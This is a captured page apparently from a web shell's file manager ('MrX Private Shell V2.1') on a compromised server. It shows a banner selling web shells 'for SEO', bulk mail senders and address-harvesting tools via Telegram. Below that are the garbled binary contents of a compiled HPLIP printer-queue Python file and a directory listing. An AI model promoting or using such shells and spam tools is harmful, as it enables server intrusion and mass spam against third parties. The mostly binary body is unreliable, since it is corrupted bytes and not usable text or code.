__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g|A���SSKrSSKrSSKrSSK7 SSKJrJrJrJrJ	r	 SSK
Jr SSKJ
r
 SSKJr SSKJr SrS
rSrSr\R6"S
\R85r\R6"S\R<5r\R6"S5r \R6"S\RB5r"\R6"S\RB5r#\R6"S\RB5r$\R6"S\RB5r%0r&Sq'"SS5r(Sr)Sr*SSjr+Sr,S\-\.SS4Sjr/g!\a"r\R+\5 SS	KJr SrCGNSrCff=f)�N�)�*)�utils�tui�password�os_utils�
smart_install)�cups)�core_install)�to_string_utf8)�
import_module)�dyn_import_mod���zv(.*):/(.*?)/(\S*?)\?(?:serial=(\S*)|device=(\S*)|ip=(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}[^&]*)|zc=(\S+))(?:&port=(\d))?z\*NickName:\s*\"(.*)"z$(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})zzc=(.*)z(.*)://(.*)zserial=(.*)z(\S*)(\s)?: (.*)Fc��\rSrSrSSjrSrg)�DetectedDevice�>c�L�XlX lX0lX@lXPlX`lg)N)�PrinterName�	DeviceURI�
DeviceType�PPDFileType�PPDFileError�	IsEnabled)�self�Printer_Name�
Device_URI�Device_Type�ppdTyperrs       �/usr/share/hplip/base/queues.py�__init__�DetectedDevice.__init__?s#��&��#��%��"��(��"��)rrrrrrN)FT)�__name__�
__module__�__qualname__�__firstlineno__r"�__static_attributes__�r$r!rr>s��#r$rc��US:wa=[XX4XV5nU[;a[URU5 gU/nU[U'g[R	SU-5 g)Nz%s is not HP Device.)r�mapofDevices�append�log�warn)	�Key�printer_name�
device_uri�back_end�ppd_fileTyper�Is_Print_Q_Enabled�device1�
deviceLists	         r!�addToDeviceListr8MsW���t�����P\�q���,�����$�$�W�-��y�J�(�L������'�,�7�8r$c�N
�[[RSSS55n[[RSSS55n[R"S5up4Sn/nURS5S:wdURS	5S:wa[RS
5 OaUR5HMn[RU5nURS5n	URS5n
URX�45 MO [RU5 [RS
X4-5 U(GazUGHsnUup�U
RS5(aM U
RS5(aM8[R[R!U	55 [R[R!S[#U	5-55 [%U
5u	p�p�nnnnn[RSU
-5 [(R*R-SU	S-5nSnSn[(R*R/U5(d-[R1SU-5 [3[4X�UUUS5 O[RSU-5 [7US5R95n[;[<RUR?S55RS55n[RSU-5 S U	-n[R"U5up4[RS!URKS"S5-5 [LRU
5(a&[LRU
5RS5nGO[NRU
5(a%[NRU
5RS5nO�[PRU
5(a%[PRU
5RS5nO�[RRU
5(al[RRU
5RS5nRU
5RS5nSU;aUnO5[RS#U
-5 SnO[RS#U
-5 SnUcGMiSnURS$5S:waSnUS%-U-n[RS&UX�X�UUUUUU4-5 SnUS':Xa!S(U;a[RCS)U	-5 SnOEUS*:Xa!S(U;a[RCS+U	-5 SnOUS,;a[RCS-U	-5 SnS.U;a[TnU(dSnO2S/U;a[VnU(dSnOS0U;a[XnOU(a[4nSn[3UX�UUUU5 GMv [RS5 [HU4$![a GM,f=f![&a Su	p�p�nnnnnSU
;aSnGNf=f![a SnGN1f=f![@a� [RCSU-5 [(RD"U[(RF5(a[RSU-5 O&[RCSU-5 Sn[HU4ss $SnGN�f=f)1N�	configurezhpcups-install�0z
hpijs-installz	lpstat -vTzNo destinations added���zlpstat:zNo Queue addedrrz.HPCups installation=%d  HPIJS installation =%dz
cups-pdf:/zipp:/�-)	�Fr>r>r>r>r>r>r�HPzDevice URI: %sz
/etc/cups/ppdz.ppdFzPPD %s file not foundzPPD: %s�rbzutf-8r>zFail to read ppd=%s filezFile %s has read permissionsz)Insufficient permission to access file %szPPD Description: %szlpstat -p%szPrinter status: %s�
zunknown protocol device_uri=%s�Paused�_zyKey'%s': deviceType '%s' is_hp '%s' bus '%s' model '%s' serial '%s' dev_file '%s' host '%s' zc '%s' port '%s' Enabled'%d'�hpfaxzHP FaxzMIncorrect PPD file for fax queue '%s'. Fax queue must use 'HP-Fax-hplip.ppd'.�hpzUIncorrect PPD file for print queue '%s'. Print queue must not use 'HP-Fax-hplip.ppd'.)rErDzYDevice %s is not HPLIP installed. Device must use the hp: or hpfax: to function in HPLIP.�hpcups�hpijs�
Postscript)-�to_bool�sys_conf�getr�run�findr.�info�
splitlines�LPSTAT_PATTERN�search�groupr-�AttributeError�debug�
startswith�bold�len�parseDeviceURI�Error�os�path�join�exists�errorr8�HPOTHER�open�readr�NICKNAME_PATTERN�decode�IOErrorr/�access�R_OKr,�replace�USB_PATTERN�NET_PATTERN�NET_ZC_PATTERN�NET_OTHER_PATTERN�HPCUPS�HPIJS�HPPS)�mode�is_hpcups_installed�is_hpijs_installed�st�output�status�
cups_printers�p�matchr1r2r3�is_hp�bus�model�serial�dev_file�host�zc�port�ppd_filer4r�fileptr�desc�cmdr0�part_1�part_2r5s                              r!�parseQueuesr�Ys���!�(�,�,�{�<L�c�"R�S�� ����k�?�C�!P�Q�����;�'�J�B�
�F��M�
�{�{�*�+�r�1�V�[�[��5K�r�5Q����!�"��"�"�$�A�
�&�-�-�a�0��$�{�{�1�~��"�[�[��^�
��$�$�l�%?�@�%��I�I�m���I�I�>�AT�@i�i�j���A�'(�$�L��$�$�\�2�2���$�$�W�-�-���I�I�c�h�h�|�,�-��I�I�c�h�h�s�3�|�#4�4�5�6�
!�P^�_i�Pj�M���V�X�t�R��
�I�I�&��3�4��w�w�|�|�O�\�F�5J�K�H��L� �L��7�7�>�>�(�+�+��	�	�1�H�<�=�����<�Ye�gk�l��	�	�)�h�.�/�
��x��.�3�3�5���)�+;�+B�+B�7�>�>�RY�CZ�+[�+a�+a�bc�+d�f�D�
�I�I�+�d�2�3���-�C����3��J�B��I�I�*�V�^�^�D�"�-E�E�F��!�!�*�-�-� �'�'�
�3�9�9�!�<���#�#�J�/�/�!�(�(��4�:�:�1�=���&�&�z�2�2�$�+�+�J�7�=�=�a�@��"�)�)�*�5�5�*�1�1�*�=�C�C�A�F��*�1�1�*�=�C�C�A�F���6�>� �C��H�H�=�z�I�J��C����9�:�E�F�����$(�"��;�;�x�(�R�/�(-�&���G�H�$���	�	�V�.1�(�3�v�W_�ae�gi�ko�qC�-D�D�E� %���w�&�x�4�/?��H�H�l�o{�{�|�#'�L���%�(�d�*:��H�H�t�xD�D�E�#'�L��_�4��H�H�x�{G�G�H�#���t�#�#)�L�.�'+�����_�#(�L�-�'+���!�T�)�"&�L��")�L�#'�L���\�h��Ua�cu�v�M�N�H�H�R�L������]"�
��
��&�
!�Pt�M���V�X�t�R���:�%� �E��
!��8&���D����
����3�H�<�=��9�9�X�b�g�g�.�.��I�I�<�h�F�G��H�H�H�(�R�S�"�F�'��.�.���
�sP�1A	W�W�X�"<X�
W�W�W=�<W=�X�X�BZ$�Z$�#Z$c��SnU[:XGa}SUR;dSUR;aCURS:Xa#[R	SUR
-5 OSUR
-nOSUR
-nUS:wGa.Sq[RU5 [R"S5upVUS:Xa,[R	S	5 [R"S
5 gUS:Xa�[R"[R[SSUR
5upxU[R:wa#[RSUR
-5 g[R!S
UR
-5 ["R$"S5(aSn	[&R("U	5 gggUR*S:Xa�Sq[R"SUR
-5up�U
S:Xa,[R	S	5 [R"S
5 gUS:XaC[R,"UR
5 [R!SUR
-5 g[R!SUR
-5 ggSUR;dSUR;a\URS:Xa#[R	SUR
-5 OQ[RSUR
-5 [.nO([RSUR
-5 [0nUS:XaUR*S:Xa[2nU(aoU(agU(a_SqUR5UR
UR6U5 UR95 [R	S5 UR;5 gggg)NrErDFz'%s' is configured correctly.zBPPD file for '%s' is not correct. Need to choose correct PPD file.zR'%s' is not configured using HPLIP. Need to remove and re-cofigure using hp-setup.Tz'Do you want to remove and re-configure?z	User Exitrr>z5Failed to remove '%s' queue.
Remove using hp-toolbox.zF' %s' removed successfully.
Re-configuring this printer by hp-setup...zhp-setupzhp-setup -iz1'%s Queue is paused. Do you want to enable queue?z'%s' is enabled successfullyzManually enable '%s'.zStarting GUI loop...)�INTERACTIVE_MODErrr.rTr�Error_Foundr^r�enter_yes_no�sys�exitr
�cups_operation�
delPrinter�IPP_OKrNr�whichr�executer�
enablePrinter�QUEUES_INCORRECT_PPD�QUEUES_CONFIG_ERROR�
QUEUES_PAUSED�initr�show�exec_)�quero�dialog�app�	Error_msg�response�valuert�
status_strr��responces           r!�reconfigure_Queuer��s����I�����3�>�>�!�W����%>����E�)��	�	�9�C�O�O�L�M�`�cf�cr�cr�s�	�k�nq�n}�n}�~�I�����K��I�I�i� �!�.�.�/X�Y�O�H��5� ��	�	�+�&�������$��%)�%8�%8����JZ�\^�`d�fi�fu�fu�%v�"���T�[�[�(��I�I�V�WZ�Wf�Wf�f�g��H�H�f�gj�gv�gv�v�w��{�{�:�.�.�+�� �(�(��-�/���]�]�e�
#��K� �-�-�.a�cf�cr�cr�.s�t�O�H��5� ��	�	�+�&�������$���"�"�3�?�?�3����7����G�H����0����@�A�$��3�>�>�!�W����%>����E�)��	�	�9�C�O�O�L�M��	�	�^�ad�ap�ap�q�r�0�	��I�I�j�mp�m|�m|�}�~�*�I�������%�!7�%�I���C��K��K�K�������	�B��K�K�M��I�I�,�-��I�I�K�%(��9r$c	���[RU5nUc[[5eUR	S5R5=(d SnUS;nUR	S5R5=(d SnUS;a[[5eUR	S5=(d SnUR	S5=(d SnUR	S5=(d SnUR	S	5=(d SnSn	U(dUR	S
5=(d S=p�UR	S5=(d Sn
US:Xa[
U
5n
U
S
:XaSn
X#XEXgX�U
4	$![[4a Sn
N#f=f)Nrr>)rErD�hpaior)�usb�net�bt�fw�parrr����r�r)	�DEVICE_URI_PATTERNrwrY�ERROR_INVALID_DEVICE_URIrR�lower�int�
ValueError�	TypeError)r2�mr3rxryrzr{r|r}r~rs           r!rXrXs@��� � ��,�A��y��,�-�-��w�w�q�z���!�'�R�H�
�1�
1�E�
�'�'�!�*�
�
�
�
"��C�
�3�3��,�-�-��7�7�1�:���E�
�W�W�Q�Z�
�2�F��w�w�q�z��R�H��7�7�1�:���D�	�B���G�G�A�J�$�"�$���7�7�1�:�?��D�
�e�|�	��t�9�D��1�9��D�
�C��$�D�H�H���I�&�	��D�	�s�?E�E.�-E.c�	�SSKJnJn U[:XGa�SSKJ	n [R"UR5 [U5up�U	(Gan[UR!55S:Xa[R#S5 [UR!55H�up�[%U5S:�aOU(d2Sq[RS	[%U5USR(4-5 UHn[+X�5 M Mc[R#S
5 [R#SUSR(-5 [+USU5 M� [,R."US
SSU5up�U
[0:waSq[&SLaAU(d:[%U5S:Xa[RS
5 O+[R3S5 O[RS5 [R4"5 gU[6:XGa}US:Xa+[RS5 [R"S5 [8R:"U5unn[=US-5n[=US-5nU"[R>5nURASS
S
[BU5n[R"URD5 [U5up�U	(Ga�[UR!55S:Xa[R#S5 [UR!55H�up�[%U5S:�a}[RS[%U5USR(4-5 U(d.SqURGS	[%U5USR(4-5 UHn[+X�UU5 M M�[R#S
5 [R#SUSR(-5 [+USUUU5 M� [,R."XUUU5up�U
[0:waSq[&SLa,U(d%[%U5S:XaS
nOSnURIU5 O[RS5 [R4"5 gg![a/ [RS5 [R"S5 GN�f=f![a [RS5 GN�f=f)Nr)�device�pmlzDevice library is not avail.)rz Failed to import password objectrzNo queues found.TzB%d queues of same device %s is configured.
Remove unwanted queues.r>z+Single print queue is configured for '%s'. FzNo Queue(s) configured.z*Queue(s) configured correctly using HPLIP.z/Could not complete Queue(s) configuration check�qt3zsThis is not supported in Qt3, requires GUI support (try running with --qt4). Also, try using interactive (-i) mode.z.queuesconfz.setupdialogzC%d queues of same device %s is configured.  Remove unwanted queues.)%r>r�r��ImportErrorr.r^r�r�r�rr
�setPasswordCallback�showPasswordPromptr/r��list�itemsrTrWr�rr�r	�disable�ERROR_NO_SI_DEVICErN�releaseCupsInstance�GUI_MODEr�
import_dialogr
�argv�QueuesDiagnose�QUEUES_MSG_SENDING�showPasswordUI�showMessage�showSuccessMessage)�passwordObjro�
ui_toolkit�
quiet_mode�
DEVICE_URIr�r�rr,rt�key�valr��SI_sts�	error_str�QApplication�
ui_package�ui�setupdialogr�r��msgs                      r!�
main_functionr�@s&���!����	B�"�
�$�$�X�%@�%@�A�)�$�/�����L�&�&�(�)�Q�.��	�	�,�-��� 2� 2� 4�5����s�8�Q�;�%�&*�����!f�hk�lo�hp�qt�uv�qw�rD�rD�hE�"E�F�"��)�#�4� #��I�I�b�M��I�I�K�S�QR�V�M_�M_�_�`�%�c�!�f�d�3�6�!.� 5� 5�d�B��d�K� X��F��+�+�"���e�#�!��<�(�A�-����!:�;����!M�N���H�H�F�G�� � �"�	
��	�����I�I�L�
M��H�H�Q�K�#(�#6�#6�z�#B� ��j�
�:�
�5�
6��#�J��$?�@���3�8�8�$���"�"�4��B�/A�+�N��� � ��!;�!;�<�)�$�/�����L�&�&�(�)�Q�.��	�	�,�-��� 2� 2� 4�5����s�8�Q�;��H�H�b�eh�il�em�nq�rs�nt�oA�oA�eB�B�C�%�&*���*�*�+p�ru�vy�rz�{~�@A�|B�|N�|N�rO�,O�P�"��)�#�V�C�@� #��I�I�b�M��I�I�K�S�QR�V�M_�M_�_�`�%�c�!�f�d�F�C�@�6�!.� 5� 5�d��PS�U`� a��F��+�+�"���e�#�!��<�(�A�-�6��I���-�-�c�2���H�H�F�G�� � �"�_
��[���	�	�0�1���������	9��H�H�7�8�	9�s"�Q3�R/�35R,�+R,�/S�S)NN)0r�rZ�re�gr>rrrrr	�prntr
�	installerr�sixextr�	importlibr
r��er.rTrrlrmrnr_�compile�Ir��	MULTILINErbri�
IGNORECASErjrkrhrPr,r�rr8r�r�rXr��UI_TOOLKIT_QT4r�r*r$r!�<module>r�sN��.�	�	��;�;��"�"�7�'�
��	����
���Z�Z�!^�`b�`d�`d�e���:�:�:�B�L�L�I���j�j�D�E�����N�2�=�=�9���J�J�1�"�-�-�@���j�j�+�B�M�M�:�����3�R�]�]�C������#�#�	9�~�D=�B!I�H!%�X�>�`e�rv�a#��y�7��I�I�a�L�6�6��7�s�D(�(E�.E�E

Filemanager

Name Type Size Permission Actions
CdmWifi.cpython-313.pyc File 16.36 KB 0644
LedmWifi.cpython-313.pyc File 32.9 KB 0644
__init__.cpython-313.pyc File 194 B 0644
avahi.cpython-313.pyc File 2.54 KB 0644
codes.cpython-313.pyc File 24.52 KB 0644
device.cpython-313.pyc File 119.56 KB 0644
dime.cpython-313.pyc File 4.41 KB 0644
exif.cpython-313.pyc File 32.61 KB 0644
g.cpython-313.pyc File 21.39 KB 0644
imageprocessing.cpython-313.pyc File 40.63 KB 0644
imagesize.cpython-313.pyc File 7.26 KB 0644
ldif.cpython-313.pyc File 18.57 KB 0644
local.cpython-313.pyc File 2.31 KB 0644
logger.cpython-313.pyc File 22.16 KB 0644
magic.cpython-313.pyc File 64.16 KB 0644
maint.cpython-313.pyc File 68.32 KB 0644
mdns.cpython-313.pyc File 12.97 KB 0644
mfpdtf.cpython-313.pyc File 11.25 KB 0644
models.cpython-313.pyc File 21.22 KB 0644
module.cpython-313.pyc File 28.83 KB 0644
os_utils.cpython-313.pyc File 2.97 KB 0644
password.cpython-313.pyc File 13.44 KB 0644
pkit.cpython-313.pyc File 15.27 KB 0644
pml.cpython-313.pyc File 26.85 KB 0644
queues.cpython-313.pyc File 18.9 KB 0644
services.cpython-313.pyc File 11.37 KB 0644
six.cpython-313.pyc File 27.04 KB 0644
sixext.cpython-313.pyc File 8.11 KB 0644
slp.cpython-313.pyc File 8.03 KB 0644
smart_install.cpython-313.pyc File 11.66 KB 0644
status.cpython-313.pyc File 74.51 KB 0644
strings.cpython-313.pyc File 38.94 KB 0644
tui.cpython-313.pyc File 18.18 KB 0644
utils.cpython-313.pyc File 115.18 KB 0644
validation.cpython-313.pyc File 5.31 KB 0644
vcard.cpython-313.pyc File 45.18 KB 0644
wifi.cpython-313.pyc File 24.22 KB 0644
Filemanager